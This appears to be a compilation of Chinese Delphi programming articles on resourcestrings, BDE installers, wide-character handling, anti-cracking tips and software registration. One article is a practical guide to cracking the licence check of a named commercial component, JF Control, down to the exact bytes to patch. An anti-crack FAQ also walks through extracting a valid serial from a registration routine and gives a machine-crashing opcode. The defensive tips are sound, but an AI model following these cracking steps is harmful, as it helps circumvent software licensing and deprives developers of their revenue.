2) 删除所有的.DCR文件和翻译文件(.NLD或.DEU)

3) Rebuild工程

4) 再次加入语言

5) 编译所有工程(是Compile而不昌Build!!)

- 当你导入或者导出你的翻译列表(translation repository)时，一定要在Windows98或者更高版本的Windows上进行！！


如何破解控件

 控件破解指南
MikeDeakins
注意：本文的转载必须获得作者同意（作者电子邮件地址：
MikeDeakins@ChinaRen.com ）。
不像可执行文件，Delphi / C++ Builder 的控件是不能利用 SoftIce 进行动态跟踪的，但
是，这并不意味着控件的破解比可执行文件的破解要困难。
要想破解一个控件，首先要弄明白它为什么能够产生限制。一般来讲，带有限制的控件
只能在 IDE 中运行。这就意味着，这个控件必须有一种既定的机制来判断当前执行环境是
否是在 IDE 内部。Delphi / C++ Builder 的 IDE 具有什么样的特征呢？自从 Delphi 1.0 开
始，IDE 的主窗口的类名始终没有改变过，一直是 TAppBuilder ，并且，这个窗口没有子窗
口。几乎所有限制控件都是用这个特征来判断当前是否是在 IDE 内部的。虽然枚举系统中
的所有进程，并且判断进程文件名是否是 Delphi32.exe 也似乎可行，但是这会在程序执行
的时候产生明显的延迟，所以目前为止，我还没有发现使用这种方法的实例。
只要了解了这些，破解控件就成为了可能。实际进行破解的时候，需要两个重要的工具
软件：DeDe 2.50 和 Ultra Edit ，前者用来分析 DCU 文件，后者用来对二进制文件进行编
辑。
下面，我将利用破解 JF Control Delphi 版本的实际例子来说明破解的方法。JF Control
的未破解版本可以在 http://www.jfactivesoft.com/spindex.htm 下载。
安装好这套控件以后，我们首先来分析它所有的 DCU 之间的关系。判断限制条件的
部分必然要被所有其它单元所使用，这样才能保证不管在程序中引用了哪一个单元都能够保
证程序不能在 IDE 外执行。当然，寻找这个单元并不一定需要使用 DeDe 打开所有 DCU 。
发现 Delphi\ Lib\JFMain.dcu 了吗？这就是一个再明显不过的标志：这是一个主单元，限制
条件有很大可能就是在这里判断的。好，我们再使用另外一招：使用资源管理器在 Delphi\Lib
目录中对文件进行搜索，条件是文件内容包含 TAppBuilder 。如果在程序中要查找
TAppBuilder 窗口类，就必须用到 FindWindow 函数，这个函数要求传递窗口类的名字字符串，
在 DCU 中应当有相应的字符串存在。查找的结果，符合条件的文件只有两个：
JFCtrls_d5.dcp 和 JFMain.dcu 。DCP 是 Delphi Component Package 的缩写，是在 Delphi
IDE 内部使用的控件包，既然是内部使用的，根本不用去管它。但是，另外一个文件则证
明了我们刚才的判断，好，准备破解。
运行 DeDe 程序，在 Dumper 菜单中选择 DCU Dumper ，在打开文件对话框中选择
JFMain.dcu 。处理完毕以后，在反编译的文本框中全选所有文本并且复制，然后粘贴到记事
本中。在记事本中查找字符串 TAppBuilder 。寻找的结果好像并不太令人满意：
const
szTAppBuilder:System.AnsiString ='О惫紶棩 ?{@_NF_7E5+$8};
原来这个字符串是一个常量的名字。常量的内容是不可识别的字符串，显然，加密了。
但是不要着急，这个字符串的内容并不重要了。偶然向下翻了一屏，惊喜就会出现：
function JfDelphiIDERunning:System.Boolean;
万万没想到这个程序编写的居然如此明显。现在看一看这个函数的内容，千万别被骗了。
这个函数内嵌一个函数：function CnvString (AStr:System.AnsiString):System.AnsiString;
这就是负责把刚才我们看到的加密字符串解密的函数。继续向下看，函数的主体调用了
FindWindow，GetWindowText，EnumChildWindows，功能确实符合这个函数的名字。
下面，我们要做的并不是破解 CnvString 函数，因为要想理解这个函数的算法还是有一
些难度的，另外，这个函数是内嵌函数，也就是说，在这个单元的其他地方是不需要这个函
数的。实际上，我们只要修改 JfDelphiIDERunning 的代码，让它只返回 true 就可以了。
如果有汇编语言的基础，这段简单的程序很容易写出来。如果不会汇编语言，也可以很
容易解决这个问题：启动 Delphi ，开始一个新的工程，创建一个单元，创建一个如下的函
数：
function CrackStub:Boolean;
begin
Result:=true;
end;
然后编译程序。用 DeDe 打开这个函数所在的 DCU 文件，获得汇编代码：B0 01 C3 。
下面，我们记录 JfDelphiIDERunning 入口点的代码，应当记录足够长的特征代码，否则
可能在后面的二进制查找中获得多个结果。我记录的入口点代码是：55 8B EC 81 C4 E8 FE FF
FF 53 56 57 33 C0 89 85 E8 FE FF FF 89 85 EC FE FF FF 89 85 F0 FE FF FF 89 85 F4 FE FF FF 89 85
F8 FE FF FF 89 85 FC FE FF FF 。
启动 Ultra Edit ，打开 JFMain.dcu ，使用二进制 / 十六进制寻找功能，搜索记录的特征
代码。找到以后，在此搜索，确认特征代码唯一。下面，把入口点位置的代码修改为我们的
代码。后面的代码我们不需要修改，因为 CPU 执行完 B0 01 C3 就返回了，根本不会继续
执行。修改完毕，保存文件。我们可以使用 Delphi 打开它的 Demo 程序，然后编译，退
出 Delphi ，运行 Demo 程序，程序正常启动。破解成功。
这种对 DCU 文件的破解其实还是有一些限制的：不能使用 BPL 动态程序包。BPL 文
件实际上是可执行文件的结构，破解方法和 DCU 文件有些区别，破解方法不在这里讨论。
（待续）


resourcestring的用处

 在Delphi编程的那段“古老”的日子里(就是在版本4之前)，在程序中使用字符串有两个基本的方法。你可以使用字符串将它们嵌入到源程序中，例如：

MessageDlg( 'Leave your stinkin' mitts off that button, fool!',mtError, [mbOK], 0);

或者，你可以创建一个文本文件(使用.rc扩展名)，例如：

STRINGTABLE DISCARDABLE
{
1 "Dialog Expert"
2 "Dialog Expert from demonstration Expert DLL."
3 "Application Expert"
4 "Application Expert from demonstration Expert DLL"
5 "&Create"
6 "&Next"
7 "An application name is required!"
8 "The application name is not a valid identifier."
9 "The path entered does not exist."
10 MAIN.PAS"
11 "MAIN.DFM"
12 "MAIN.TXT"
...
// Variable names.
20 "StatusLine"
...
}

然后你需要做的工作是将它编译成为资源文件，加入到Delphi的工程或者单元中，使用命令行工具Brcc32.exe编译，然后在程序中当你使用到这些字符串时，使用LoadStr等函数将它们从资源中提取出来。这看起来有点麻烦，而且你可能会被困在这麻烦的操作中，因此你可能会无休止地将字符串加入到你的源代码中而不是使用资源。

现在，resourcestring关键字的出现，可以帮助你摆脱这麻烦的工作。resourcestring带给我们两个好处：可以简单地加入字符串，而且所有的字符串集中保存在同一个位置；同时，使用resourcestring提供更好的内存管理，因为所有在resourcestring部分的字符串是以资源形式保存在应用程序中。

让我们赶快进入使用resourcestring关键字的新世界，增加一个单元到你的工程中，名字是ResStrngs(或者其它名字)，然后将所有的字符串(特别是那些将会被用户看到的字符串：列表的内容，错误消息等等)加入到这个单元的接口(Interface)部分，就像下面一样：

unit ResStrngs;

interface

resourcestring
// 著名的军事家
SGeneralElectric = 'General Electric';
SGeneralMills = 'General Mills';
SGeneralUsage = 'General Usage';
SGeneralHospital = 'General Hospital';
SGeneralLedger = 'General Ledger';
SGeneralProtectionFault = 'General Protection Fault';
SGeneralSQLError = 'General SQL Error';
SGeneralLeeSpeaking = 'General Lee Speaking';
SCorporalPunishment = 'Corporal Punishment';
SSgtFury = 'Sgt. Fury';
SSgtCarter = 'Sgt. Carter';
SSgtSchultz = 'Sgt. Schultz';
SSargentShriver = 'Sargent Shriver';
SCaptKangaroo = 'Capt. Kangaroo';
SCaptUnderpants = 'Capt. Underpants';
SColonelKlink = 'Colonel Klink';
SPrivateBenjamin = 'Private Benjamin';
SPrivateProperty = 'Private Property';
SLeftenantDan = 'Leftenant Dan';
SMutineerChristian = 'Mutineer Christian';
SAtlantaHawks = 'Atlanta Hawks';
// 友好的提示
SDontSleepInTheSubwayDarlin =
'Don't sleep in the subway darlin'';
// 你还可以继续增加字符串

implementation

end.

在任何可能引用这些字符串的单元的实现(implementation)部分的uses语句中加入此单元。然后，你可以这样使用这些字符串：

if ItIsPetulasVirtualHusband and HeIsLate then
MessageDlg(SDontSleepInTheSubwayDarlin,
mtInformation, [mbOK], 0);

还有一个例子：Borland/Inprise同样使用字符串资源，你可以看看..\source\vcl目录下的consts.pas、dbconsts.pas等文件。

将字符串集中放在resourcestring部分还有一个好处就是，通常程序员并不是最适合写用户将会看到的反馈信息或者错误消息的人，他们写的往往太技术性，例如：“模块xyz：生成子线程时发生一个未预期错误”，这对用户来说等于没说，也许“请在开始前保存修改”会更好一些。

将这些消息字符串单独保存在一个分离的文件中，可以让那些适合编写用户消息的人来处理（当然，要有程序员来当顾问，以便确定每条消息表示什么含义）。如果你不想让这些非编程人员来修改你的.pas文件，你可以将这些字符串保存到一个文件文件中交给他们处理，当他们处理完成后，你再将他们修改后的字符串复制到你的resourcestring部分。

最后但是也非常重要的是，当把用户或以看到的字符串都收集在一个地方，可以让你很容易地让你的应用程序国际化和本地化。使用Delphi的ITE(Integrated Translation Environment 集成翻译环境)，国际化和本地化你的应用程序的字符串几乎是半自动完成的。使用ITE，你可以为每种语言创建一个独立的.dll。如果你发布时带有多个.dll文件，通过程序运行的计算机系统的地区号，你的程序可以自动调用对应的.dll。

ITE主要的工具就是资源DLL向导(Resource DLL Wizard) (File | New | Resource DLL Wizard) 和翻译管理器(Translation Manager)。翻译管理器用于输入翻译的内容，可以查看Delphi的帮助文件的"Integrated Translation Environment"部分获得具体信息。

除Delphin提供的ITE外，还有第三方的相关工具。我喜欢使用来自 "in the box." 的工具，当然，像ITE一样，只要他工作得好。


防破解问答集

当发现自己为之工作了好几个月，甚至几年的程序被人破解的时候，所受的伤害是难以形容的。
我作为一个共享软件作者，并不是因为我在乎那几块钱而已（我不想在这里做具体的计算，那会使我更加难过...），不，我总是使我的程序尽可能的便宜，使包括学生和自由软件作者在内的每个人都能用得起。
然而，我知道破解软件的魅力（如果你对程序破解者（Cracker）和黑客（Hacker）抱绝对的不宽容态度，那么请原谅。但是我的一位同学是心理学家，我们一直在寻找其原因）。破解一个受限制的软件程序就像解一个（有时是很狡猾）的谜语，而你可能沉迷于这种解迷的感觉（当我发现我祖母在几个月里整天沉迷在玩字谜游戏时想起这些的）。问题是（我们现在涉及到这种“游戏”的非法部分）：程序破解者不会仅仅满足于只让自己了解他的“天赋”。他必须传播消息，发布他的“破解” （Cracker）（看一下破解包，多数是由以下部分组成：1、破解工具；2、简短的说明；3、一个巨大的文件，包含有似乎作者不亚于世界上任何伟人，或者被破解的程序像所有其它程序一样无法用那脆弱的保护方式来阻止破解者破解程序的进程的信息）。
但是现在，玩笑彻底结束了。发布这些破解包（让我们公正些：“研究其可能性“）给其他人，散布到网站上，新闻组，邮件列表，匿名FTP，光盘，"abonnements"以及任何其它地方，他们明显地破坏了所有那些花时间和精力在他们软件产品上的收益。虽然没有人可以说，所有收到或者下载破解程序的人永远也不会购买。但是散布破解程序的确是犯罪，就像有人在商场分发你车钥匙的拷贝——他是否以此赚钱又有何分别呢？
早些日子，我没有真正去花时间保护我的产品以防止被破解，但发现周围有它们的数个破解之后。我对自己说：为什么让它如此简单？ 作为一个程序员，我当然知道，不，决不！——程序不可能是破解不了的，而且我知道，每个有吸引力的程序都迟早会有破解（至少是盗版或非法复制品）出现，但至少，我可以避免最糟糕的错误。
多数的高级语言程序员不再懂得汇编语言了，所以，他们使用的“保护措施“多数是很脆弱的。我对汇编懂得也不多，所以我决定开始仔细收集防破解（Anti-Crack）的技巧。我也努力“从另一方面努力学习”，你在这里看到的许多技巧我都是从典型的破解技术中捉摸出来的，包括网上各种各样的破解指南和阅读甚至是由专业破解者给出程序保护技巧（他们给我们这些技巧以给自己更大的挑战），我希望自己学得足够好，也想把我的经验在此与大家分享,有些技巧可能已经在其它文章中有所提及，但在此列出的最为完整。许多技巧都是针对Windows的，但他们可以被移植到其它操作系统中去。
这篇问答集是全新的，如果你觉得我遗漏了一些要点或者有用的、一个典型的Delphi程序员可以简单的加入其程序，以加强对程序保护的技巧，请告诉我，如果你允许，我会把它加到这里，否则我会告诉你我对它的体验。

不要问我问题，我可能无法回答：
1) 我已经提到，我对底层的东西没有什么研究；
2) 我不会把范例文件发给你，因为我没有准备过发布任何东西，如果我有一些，那么都在这里了；
3) 最后，我不会提供任何人我发现这些技巧的连接，请记注，这是一个专注于编程的站点，而非提供可利用的破解程序。需要更多的保护程序的信息，可以看我的DELPHI技巧页。
--------------------------------------------------------------------------------
最后，这里是：
如何使破解你程序的人感到头疼
（技巧未按其重要性排列）
--------------------------------------------------------------------------------
不要用有意义的过程名字，例如： function RegistrationOK: Boolean;//译者按：注册确认
无论你在函数中编码多么奥妙和复杂，无论你相信于否一个有经验的破解者都会在10-20秒内删除之。
作为一种选择，你可以把程序中需要的一部分代码置入其内，如果破解者禁止了这个函数，你的程序将产生错误的结果。

不要用有意义的文件名比如License.Dat.。

用类似Asymetric（美国软件公司，代表软件Toolbook）的加密. 仅仅不寻常的文件名常常是不够的，好的加密（编码）可以让破解者忙几个月（如果他愿意）

加上长时间延迟，当发现被自身被损坏时，不要发出警告，随后开始等待，也许是一或两天（破解者讨厌者东西）。

加入短暂延迟，当输入口令或做其它检测时，停一到两秒钟，使穷举无法继续。简单易行，但用处不大。

使用相互检查，在DLL和EXE中互相检查，这远谈不上安全，但可以使破解变得更困难。

在软件中使用自我修复，你知道就像纠错Modem和容错硬盘，这技术已经有许多年了，怎么没人用在保护软件上？这方法最大的优点是：如果破解者使用反编译工具，它会见到一串无用的列表。

修补你的软件！把代码变为每次调用不同的确认程序段，用“其人之道还治其人之身”。

把序列号放在不寻常的地方，比如数据库字段的属性中，经常听到或读到，“用一个DLL的名字，然后把它放到系统目录里”，听的太多了，不要用哦:)

把序列号放到不同的地方。

不要依靠系统时间，从一些文件取得时间，比如SYSTEM.DAT，SYSTEM.DA0和BOOTLOG.TXT，把它们和系统时间进行比较，要求它们比上次运行的时间晚（但是记住，许多用户近来在捉千年虫）。

不要用明文字符串告诉用户:"对不起，不过...（或类似的东西）"这些是首先寻找的目标，动态建立字符串或者加密它们。

用伪造的程序调用和字符串来灌水。

不要使用一个确认函数，每次你确认用户，把确认代码写在当前过程中。这样只是让破解者做更多的破解工作。

使用“保留字”，当使用硬密钥或口令时，使它们看来像程序代码或者函数调用 (比如., "73AF" 或 "GetWindowText")。这确实工作的很不错，可以迷惑一些反编译工具。

没有“禁止”特征，如果你的程序有不保存数据版本(Crapware Version)，不要包含“灰”色菜单项。没有保存项等于没有保存，就那么简单。

避免不必要的提示信息，唯一提醒用户他尚未注册的只是“关于”对话盒，此对话盒要动态建立，以便保密。这有两个原因：许多程序员有这样的观点：多余的提示信息会在他们的顾客中产生敌人，这是愚蠢的。一个可能是更重要的原因是：多余提示信息会引导对你代码的反向工程而且经常直接引导至你的程序保护代码。

经常更新，频繁的更新指：经常更换代码，典型（简单）的破解只修改你的硬字节代码位置，这可能当它还未面市已经过期了。并且保证上载到公共服务器，使你可以更好的控制程序，人们无法找到破解所针对的旧版本。是的，这样无法防止包括旧版本和破解包盗版，如果他们那么做了，你至少可以为把他们的硬盘挤满而做点贡献。

最后，花点时间考虑保护你自己的软件。它是否值得保护？它是否更应该改进你的软件？如果没人用你的软件，保护也就没有意义了，不要过高估计你软件“对世界的重要性”。

--------------------------------------------------------------------------------
你可以考虑到的更多技巧
--------------------------------------------------------------------------------
用一个连续的几KB长的数学公式使任何想破解它的人精神崩溃。这使用一个密码生成器几乎无效——阻止穷举攻击也是有效的。

小心运行时刻库！当写BETA版时，完全使用之，在正式版中重写部分函数，这至少可以使破解者的生活更艰苦些。

毁坏结果，毁坏结果有时是保护程序的有效措施。
例如：想象一个图表程序，或者类似的程序，只是禁止打印然后根据一些注册码恢复打印是最常见的毁坏结果的程序。允许你打印。当产生要打印数据结构时，用某种方式破坏之，在打印前根据注册码或其它东西恢复。甚至，让破坏更奥妙，假设你有一个饼形图要打印，不改变任何东西，但加入一些不大的随机数值在你的数据中——这样就破坏了。图表看上去“不是很糟”，但是无论如何将无法使用（比如，如果是按20%的随机次序改变的）发现这样的保护，如果这和注册码相关联，无疑会使破解需要更对的时间，一是必须深入你内部的数据结构并找到可怕的破坏和恢复数据代码。

陷阱，一个我不太肯定，但听说有程序使用的方法：用CRC校验你的EXE文件，如果它被改变了，不要显示典型错误信息，等一天，然后用意思含糊的错误代码通知用户，当他们和你联系并告之错误代码时，你知道，是因为被破解了。记注：这样的陷阱可能被病毒或下载错误所触发，当你谴责可能是你未来的客户前，先考虑所有可能性。

不要依赖EXE压缩程序，几乎任何EXE压缩程序(Shrinker, WWPack32, NeoLite ——和所有著名的压缩软件)都有反压缩程序，所以，压缩程序的保护能力至少支持可配置的编码。以上（和其它）压缩程序的反压缩软件并未广泛流传，但是，不要依赖那些软件作为你程序仅有的一个“保护”。
--------------------------------------------------------------------------------
高级技巧——从汇编来的奇想
--------------------------------------------------------------------------------
rcr/rcl 把戏
如果RCR/RCL执行某值，对于破解者来说是痛苦的——在不知道最初操作时转送标志（Carry Flag）的值的情况下，你无法逆转之或否定其作用，如果转送标志是由一些其它烦琐的关键操作所产生的话，那么你几乎胜利了。

到处贴条件转移
条件跳转对于反向工程来说并不有趣。没有循环，只是跳转，作为有条件的路障，包括你那些可爱的KEY处理代码。这样，没有简单的反向操作可以执行。

使用部分代码作为奇妙的数字表。
（更适合评论部分）如果你像多数的破解者或喜欢用SOFT-ICE（一个流行的破解工具）改东西，你无法想象这会有多恼人，

和破解者斗智
这部分很有趣:-) 贴上连续的NOP，就像你在做自我代码修改（天啊，什么乱七八糟的，NOP？哈！自我代码修改！白痴会花三年去捉摸那些本来该是什么东西）。混乱的注释代码。把代码分成小块，把它们遍布在可执行代码中，在它们中间使用（最好是有条件的）跳转。

提早发现SoftIce.。
现在搞垮计算机，你可以搞垮奔腾或奔腾MMX计算机甚至不需要VXD，可以用操作码： F0 0F C7 C8 (非法的带锁定前缀的 cmpxchg8b 指令). 处此之外, 我们必须采取真正的措施：使用VXD把CPU带出保护模式。Windows 不喜欢那样，奇迹？另一方面，不要浪费太多的时间去写破坏反汇编程序或调试的代码。那没用，相信我，有人写了那些东西，另一些人立刻会有办法绕过它，所以，把你的兴趣转移到更重要的地方——那些容易且很快见效的措施，就像上面的技巧。
--------------------------------------------------------------------------------
针对DELPHI控件的破解
--------------------------------------------------------------------------------
让我们了解一些关于Borland公司新开发工具的内核吧。这些知识会使我们加快破解的速度，当然也使那些共享软件程序员更小心的使用Delphi，轻易的把他们的“秘密”暴露在那些好奇的目光下。
VCL是指Visual Component Library（可视化组件库），它近来被Borland的可视化编程工具所使用，比如Delphi和C++Builder。
这些环境使用特有的资源格式，在Resource Workshop（Borland编辑资源的一个工具）中显示为“RCDATA'”。这些资源中含有Delphi所谓的窗体（Forms），窗体是程序的窗口（Windows）。所有对窗口的设计的信息都包含内，当一个典型的Delphi程序开始运行时，其初始化代码建立这种窗体，并从资源中读取所需要的信息。有时，这种读取会被推迟——不常用的窗体在需要时才被建立和删除。这样的机制是Delphi的最大优势也是其最大的缺点。它大大提高了程序设计的速度，但是对于整个应用程序，它减慢了程序被调用时的速度

这部分中真正有趣的是：例程（被用来响应用户界面的窗体的元素）的地址是按名字邦定的。所以只要知道这些名字，我们就可以知道所需要的地址。
如果你曾经破解过我的Delphi程序，你一定对那些烦琐的库之间的调用，比如API调用断点（breakpoint）和类似“do xx”的代码。
[讨论一个十分有名的用Delphi写的应用程序] 就像你将见到的那样，我彻底的破解了它，而且十分轻松。我第一次安装以后一个星期后，我发现了一条令人厌恶的信息——“你的测试已经过期”。
首先要做的是使用资源或窗体探测（SPY）工具收集有关目标EXE文件的有关信息。你也许会想到去查看TVALIDATORDLG——很明显，用户名和注册码是由此输入的。但是你会发现那只是一个简单的对话盒，真正的工作是由其调用者TSPLASHFORM来完成的。这是个恼人的窗口，它在程序关闭、按“关于”按钮和程序开始部分不断出现。
你可以选择TsplashForm并且以文本格式观察之。关于按钮（Button）和标签（Label）的许多信息都将被很清楚的显示。让我们注意以下部分（接近最后）：

object RegButton: TButton
Left = 200
Top = 176
Width = 97
Height = 25
Caption = 'Register'
TabOrder = 1
OnClick = RegButtonClick
end

这是什么？这是带有“注册”标题的按钮。你可以看到它的大小，位置......和一个有启发性的名字——“OnClick”。 “OnClick”告诉我们当用户按注册按钮时所调用的例程，当我们有了名字(Name)，我们可以搜索例程的地址。这是因为例程是和按钮以名字(Name)邦定的。
使用一个十六进制编辑器观察"RegButtonClick"，我发现了两次，第二个是资源本身，第一个是在地址表（Address Table）中的。

000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu

000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______

现在，观察名字（Name）前那写神奇的数字，有一个字节('0E')指出了"RegButtonClick" 的长度(14 个字符)。而且，在此之前有其地址：004ABC57。

有的反汇编程序会以为文件太长，并且不能正确反汇编这部分——然而，使用特殊的工具，我们可以在此停止，对了，就停在我们按按钮的部分。
这些会使你发现一个调用（CALL）。跟踪之，你会在44ECC8发现一个“标准栈框架（standard stack frame）”：

0044ECC8 55 push ebp
0044ECC9 8BEC mov ebp, esp
这是一种程序员所写的，在高级例程开始部分所需要的东西。我们已经避开了一长串由Windows通知（Notification）所产生的VCL库调用，来到了正确的位置。
在此，你可以方便的用设置断点的方法来测试一些调用——你会发现它们是用来显示要求输入用户名和口令的对话盒。然后，注册码是由用户名和用户的输入比较所产生的。你可以输入你所选择的用户名，和任何东西作为注册码，在BPX到44ED69之后，一个调用一个例程用来比较两个字符串。D EDX会显示你输入（冒牌）的注册码，EAX会显示正确的注册码，简单吧？初学者只需10分钟就可以完成，
如何避免被类似的程序破解？
阅读我以上的技巧。最基本的是不要用由双击按钮或有属性监视器（Object inspector.）生成默认的方法，在程序的其它部分写代码，最好是在另外的模板中，然后用类似以下的代码与按钮关联：

RegButton.OnClick := RegButtonClick;

当然你需要在窗体建立时（被调用前）执行这段代码，最好是被一些无关的例程所调用，当然这远远不能防止你的程序被破解，但至少不会像你刚才看到的那样容易。

--------------------------------------------------------------------------------
关于注册码的提示
(如果你无法避免它)
--------------------------------------------------------------------------------
在安全，可行性，可编程性和最终用户的头痛间寻求平衡。
太长的，无字母的注册码可能造成连续的输入错误。考虑要求输入确认域（多数是口令），或者至少提供一个“不固定”的注册码输入域，以便用户可以每次重写注册码，也许最后正确的输入了。许多人会仅仅“瞥一眼”以比较输入的注册码和他们所收到E-Mail里的注册好，他们最终认为，他们输入了正确的注册码。但是字体太小或者他们懒得注意到底“I”和“1”被交换了位置（就像'l83jjd_0)pH1lTe' )。
根据不同用户的反馈，注册码输入区必须无限制的接受任何长度的信息。不要让破解者了解你的注册码的类型——如果你采取“在线确认（online-verification）”并显示它有10个字符长或只接受大写字母将给予他们帮助——不要这样做！
计算潜在用户的数量！没有比这样的事更坏的了：你把用户数限制在9，999，你不希望有第10，000个用户，因为如此你就必须升级你的注册码以满足这第1，000个用户。
如果你的注册码有10位，可能有10^10个注册码。但是，你的应用程序可能只允许10^4（10，000）个用户，你必须采取某种算法使10^4个用户每人一个得到10^10个注册码中一个。这保护了用户和你的应用程序本身受到穷举攻击（就像一个使用VXD的宏播放器那样）。如果只有10^4个用户，而你定义了10^9个合法的注册码，那么平均每试10次，就会有一个“合法”的注册码。然而，在预期只有10^4的情况下，平均每10^6次才会成功。即使是使用高速的计算机和极快的宏播放器（击键模拟输入注册码），要在10^6中寻找到需要的注册码所花费的时间也是无法计算的。
从用户名（User name）到注册码（Registeration code）不应该只有简单的运算，它必须是有既精通数学又精通汇编语言的人用汇编语言实现（记注，Delphi仍然允许你直接使用汇编（ASM）代码）！然后，检查你的操作，绘制流程图，了解它是如何工作的。要彻底了解你自己的工作，特别是它的不足之处。
要有创新意识，不要用任何看起来简单、迅速、有效的东西，除非你信奉类似爱因斯坦的相对论的学说。你的方法的确是简单，也的确是迅速，但是绝对不是有效，的确是容易被破解。我十分抱歉，我并非天才，没有找到一种行之有效的保护方案能维持太长时间。

只是些想法:)

Richey


用InstallShield制作数据库应用系统的安装程序

     Delphi具有强大的数据库应用程序开发功能，其Client／Sever版本可以开发一般的单机数据库应用系统、普通Client／Sever应用系统直至基于Web的多层应用，其中自然离不开Borland数据库引擎（BDE）的功劳。不过在没有安装过Delphi程序的计算机上运行数据库程序时，必须同时分发庞大的BDE文件，Borland建议用户用Delphi附带的InstallShield制作安装程序来解决这些问题。但怎样选择BDE文件才能使自己的安装程序更加精炼呢？我首先介绍一下其中几个必须的文件：
    Idapi32.dll：BDE基本函数库
    Blw32.dll：语言驱动函数库
    Idr20009.dll：错误信息库
    Fareast.bll：远东语言驱动程序
    Usa.bll：美国语言驱动程序
    以下文件为根据需要可选：
    如用Paradox，则应选择：Idpdx32.dll
    如用Dbase，则应选择：Iddbas32.dll
    如用Access，则应选择：Iddao32.dll
    如用Ascii，则应选择：Idasci32.dll
    如用TBatchMove，则应选择：Idbat32.dll
    如用Data Repostitory，则应选择：Iddr32.dll
    如用ODBC，则应选择：Idodbc32.dll
    如用BDE DataSet Provider DLL，则应选择：Idprov32.dll
    如用SQL查询，则应选择：Idsql32.dll
    下面我们就以用InstallShield来制作一个Paradox数据库应用系统的安装程序为例：
    1.启动程序设置有关文件目录路径，进入Setup Checklist；
    2.在Set the Visual Design中设置程序名、程序目录、安装程序主窗口等；
    3.在Specify Components and Files中设置Groups and Files项，在Program Files中加入用户的所有程序文件和数据库表文件，以及下列文件：Idbat32.dll、Usa.btl、Idapi.cfg、Charset.cvb、Bantam.dll、BLW32.dll、Idapi32.dll、Fareast.btl、Idpdx32.dll、Idr20009.dll、Idsql32.dll（以上文件必须含目录路径）；
    4.在Dialog Boxes中设置所需安装对话框；
    5.在Make Registry Changes中设置Keys项，在HKEY_LOCAL_MACHINE中加入software\borland\blw32和software\borland\database engine两项，并且在blw32值中加入
    “Blapipath ‘以上文件目录’”、“LOCALE_LIB0 ‘以上文件目录’\Fareast.bll”和“LOCALE_LIB1 ‘以上文件目录’\Usa.bll”，在database engine值中加入“Dllpath ‘以上文件目录’”、“Configfile01 ‘以上文件目录’\Idapi.cfg”；
    6.在Specify Folder and Icons中根据实际要求设置有关项目；
    7.在Run Disk Builder中设置安装盘的有关信息；
    8.最后进行Test the Installation和Create Distribution Media即可完成安装程序的制作。
(新疆　宗宏斌)


支持宽字节的演示

程序源代码
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1:
TButton;
Label1: TLabel;
Memo1: TMemo;
Button2: TButton;
procedure
Button1Click(Sender: TObject);
private
{ Private declarations
}
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var sW:widestring;
sL:string;
i:integer;
begin
case (sender as TButton).tag of
10://短
begin
sL:=edit1.text;
if ansipos('〗',sL)<>0 then
begin
for i:=1 to length(sL) do
if copy(sL,i,2)='〗' then
begin
caption:='Find "〗" at no:'+inttostr(i);
break;
end
end
else
caption:='短->总'+inttostr(length(sL));
end;
20://长
begin
sW:=edit1.text;
if ansipos('〗',sW)<>0 then
begin
for i:=1 to length(sW) do
if copy(sW,i,1)='〗' then
begin
caption:='Find "〗" at no:'+inttostr(i);
break;
end;
end
else
caption:='长->总'+inttostr(length(sW));
end;
end;
end;

end.
窗体As Text代码：
object Form1: TForm1
Left = 195
Top = 107
Width = 347
Height = 167
Caption = '测试<===copyright 梁明'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 16
Top = 16
Width = 138
Height = 13
Caption = 'DELPHI支持宽字节的演示!'
end
object Edit1: TEdit
Left = 16
Top = 40
Width = 297
Height = 21
ReadOnly = True
TabOrder = 0
Text = '中国人民解放军〗中华人民共和国'
end
object Button1: TButton
Tag = 20
Left = 238
Top = 104
Width = 75
Height = 25
Caption = '按长计算'
TabOrder = 1
OnClick = Button1Click
end
object Memo1: TMemo
Left = 16
Top = 72
Width = 201
Height = 57
Lines.Strings = (
' 以上面的文本为例(不可改)'
' ======================='
' 演示DELPHI对宽字符的支持!'
'')
ReadOnly = True
TabOrder = 2
end
object Button2: TButton
Tag = 10
Left = 238
Top = 72
Width = 75
Height = 25
Caption = '按短计算'
TabOrder = 3
OnClick = Button1Click
end
end


为应用软件建立注册机制

    如何保护自己的软件不被非授权盗用的问题，始终困扰着每一个程序员。当前世界上保护软件的方法有很多，主要是采用加密（如加软件狗）方式或软件注册方式。使用软件狗等加密方法，虽然其保护最有效，但对授权用户的正常使用有一定的影响，而且软件发放比较复杂，在实际运用中比较少被采用。而注册登记方式则是当前最流行、运用最广泛的方法，虽然有许多通用软件其注册码可以很容易地被发烧友们所解，但对于独立程序员为某特定应用设计的应用软件而言，采用注册机制显得最经济、最方便，而且在一定的范围内非常有效。笔者在实际工作中，广泛使用了软件注册方法，有效地维护了软件的权益。
    DEPHI软件的功能极为强大，深受程序员喜欢。用DEPHI开发的软件，可以很方便地加入注册机制。下面笔者就如何在DEPHI开发的软件中加入注册机制与朋友们交流心得。
    要实现软件注册机制，需解决以下几个问题：1、如何加入注册检测，判断软件是否注册；2、如何隐藏注册码，及是否注册的标志；3、在软件不注册情况下，如何限制软件的使用时间或次数；4、对正常用户而言，不应造成使用不便。对于以上四个问题，如何隐藏注册码及是否注册的标志是关键。在WINDOWS95中，WIN95本身及大多数的应用软件都将其各种参数放入注册表中，因而注册表内的数据显得极为庞大和复杂。如果将注册标志隐藏在注册表的某一角落中，想要找到它并理解它是极其困难的事。因此我们可以利用这一点，在注册表的某个分支上设置一个从名称上看毫无特殊意义的关键字，将自己软件的注册标志数据存放在这里。以下是整个注册机制的流程框图：

